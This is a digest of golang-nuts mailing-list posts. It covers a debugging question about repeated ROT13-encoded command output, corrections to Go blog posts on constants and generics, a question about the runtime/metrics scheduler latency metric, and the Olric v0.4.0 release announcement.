>>> https://play.golang.org/p/DAE4cLq3RSx
>>> Everything works like a charm.
>>>
>>> Here is the code POST-ROR13. The difference between them is underlined
>>> https://play.golang.org/p/DfFJSvuBx05
>>>
>>> Both functions handle the output of the commands.
>>> The ROT13 works fine, but I get the same output multiple time, which 
>>> before did not happen. Infact, if I revert the changes, everything works 
>>> perfectly.
>>> Example:
>>>
>>> *$ whoami*
>>> *$ xnyv*
>>>
>>> *$ whoami*
>>> *$ xnyv*
>>> *xnyv*
>>>
>>> *$ whoami*
>>> *$ xnyv*
>>> *xnyv*
>>> *xnyv*
>>>
>>> *$ whoami*
>>> *$ xnyv*
>>> *xnyv*
>>> *xnyv*
>>> *xnyv*
>>>
>>> Why do I get this result? How can I fix it?
>>> May be fub's fault? It is like if the output get cached somehow, but I 
>>> may be wrong.
>>>
>> -- 
>>
> You received this message because you are subscribed to the Google Groups 
>> "golang-nuts" group.
>>
> To unsubscribe from this group and stop receiving emails from it, send an 
>> email to golang-nuts...@googlegroups.com.
>> To view this discussion on the web visit 
>> https://groups.google.com/d/msgid/golang-nuts/865969bf-d6e4-49ca-9ed5-809efae2f25cn%40googlegroups.com
>>  
>> 
>> .
>>
>

-- 
You received this message because you are subscribed to the Google Groups 
"golang-nuts" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to golang-nuts+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/golang-nuts/4453654b-76cf-4b4e-9cbf-6d8d6d96a030n%40googlegroups.com.

Re: [go-nuts] Various questions about posts from The Go Blog

[Kamil Ziemian]

I guess it should say "any number type", but I'm not 100% sure. Am I right?

Thank you for the answer. I'm not good at computer science, so I'm often 
can't decide is this mistake or is there some subtlety that I'm missing.

Small mistake and typos are quite common in blogs and talks and I am always 
quite unsettled by them (long story why). Unfortunately, they can be also 
in the presented code, at least in talks that I saw. "Never trust yourself, 
always run compiler" seems be the moral of the story.

As a aside, today I found in "Why Generics?" 
(https://blog.golang.org/why-generics) at the end of the section "Ordered 
types" sentence "In practice this contract would probably go into the 
standard library. and so really the Min function". Punctuation in natural 
languages is beyond me, but I guess changing period to coma make it correct.

PS. I know that now Go has Type Parameters Proposal 
(https://go.googlesource.com/proposal/+/refs/heads/master/design/43651-type-parameters.md),
 
but I need to wrap my head around generics, so I try to read as much as 
possible, even about outdated things like contracts.

Kamil
wtorek, 17 sierpnia 2021 o 21:20:25 UTC+2 Ian Lance Taylor napisał(a):

> On Tue, Aug 17, 2021 at 9:13 AM Kamil Ziemian  wrote:
> >
> > I'm now rereading post "Constants" and in the last section "Numbers" 
> there is a text
> >
> > BEGINNING
> > Therefore, although they have different implicit default types, written 
> as untyped constants they can be assigned to a variable of any integer type:
> >
> > var f float32 = 1
> > var i int = 1.000
> > var u uint32 = 1e3 - 99.0*10.0 - 9
> > var c float64 = '\x01'
> > var p uintptr = '\u0001'
> > var r complex64 = 'b' - 'a'
> > var b byte = 1.0 + 3i - 3.0i
> >
> > fmt.Println(f, i, u, c, p, r, b)
> > END
> >
> > I guess it should say "any number type", but I'm not 100% sure. Am I 
> right?
>
> I think you're right.
>
> Ian
>

-- 
You received this message because you are subscribed to the Google Groups 
"golang-nuts" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to golang-nuts+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/golang-nuts/8bfe4d66-470f-42c0-b33d-35e16a89be33n%40googlegroups.com.

[go-nuts] A question about metric `/sched/latencies:seconds` in go1.17's package runtime/metrics

[rmfr]

Hi,

I am reading the description of metric `/sched/latencies:seconds` in 
runtime/metrics:

```
/sched/latencies:seconds 

Distribution of the time goroutines have spent in the scheduler in a 
runnable state before actually running.
```

I wonder such records are from all the goroutines' `runnable` state time 
measurement, or just sampling?

-- 
You received this message because you are subscribed to the Google Groups 
"golang-nuts" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to golang-nuts+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/golang-nuts/b0bbac49-75d3-4d2e-9efb-2d7c238f0f13n%40googlegroups.com.

[go-nuts] [ANN] Olric v0.4.0 is out. Distributed cache and in-memory key/value data store. It can be used both as an embedded Go library and as a language-independent service.

[Burak Sezer]

*What is Olric?*

Distributed cache and in-memory key/value data store. It can be used both 
as an embedded Go library and as a language-independent service.

With Olric, you can instantly create a fast, scalable, shared pool of RAM 
across a cluster of computers.

See the repository on GitHub to get started: 
https://github.com/buraksezer/olric

*Features:*

   - Designed to share some transient, approximate, fast-changing data 
   between servers,
   - Embeddable but can be used as a language-independent service with 
   olricd,
   - Supports different eviction algorithms,
   - GC friendly storage engine,
   - Fast binary protocol,
   - Highly available and horizontally scalable,
   - Provides best-effort consistency guarantees without being a complete 
   CP (indeed PA/EC) solution,
   - Supports replication by default (with sync and async options),
   - Quorum-based voting for replica control (Read/Write quorums),
   - Supports atomic operations,
   - Supports distributed queries on keys,
   - Provides a plugin interface for service discovery daemons,
   - Provides a locking primitive inspired by SETNX of Redis.

*Changes:*

   - Mostly refactoring,
   - More metrics to inspect cluster and member status.


See the changelog to get more info about the new release: 
https://github.com/buraksezer/olric/releases/tag/v0.4.0


-- 
You received this message because you are subscribed to the Google Groups 
"golang-nuts" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to golang-nuts+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/golang-nuts/4f5ad8fb-45cd-4bcd-ba37-d9f84a44b89dn%40googlegroups.com.